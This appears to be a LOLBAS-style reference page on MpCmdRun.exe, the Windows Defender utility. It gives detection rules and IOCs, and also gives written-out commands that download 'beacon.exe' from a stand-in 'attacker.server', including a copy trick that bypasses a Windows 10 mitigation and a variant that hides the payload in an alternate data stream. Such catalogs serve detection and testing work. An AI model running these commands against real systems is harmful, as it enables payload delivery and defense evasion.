.. / MpCmdRun.exe
Star

Binary part of Windows Defender. Used to manage settings in Windows Defender

Paths:

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe

Resources:

Acknowledgements:

Askar (@mohammadaskar2)
Oddvar Moe (@oddvarmoe)
RichRumble ()
Cedric (@th3c3dr1c)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml
Elastic: https://github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml
IOC: MpCmdRun storing data into alternate data streams.
IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
IOC: User Agent is "MpCommunication"

Download

Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)

MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe

Usecase: Download file
Privileges required: User
OS: Windows 10
MITRE ATT&CK®: T1105

Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) [updated version to bypass Windows 10 mitigation]

copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exe

Usecase: Download file
Privileges required: User
OS: Windows 10
MITRE ATT&CK®: T1105

Alternate data streams

Download file to machine and store it in Alternate Data Stream

MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\temp\nicefile.txt:evil.exe

Usecase: Hide downloaded data inton an Alternate Data Stream
Privileges required: User
OS: Windows 10
MITRE ATT&CK®: T1564.004

.. / MpCmdRun.exe Star

Download

Alternate data streams

.. / MpCmdRun.exe
Star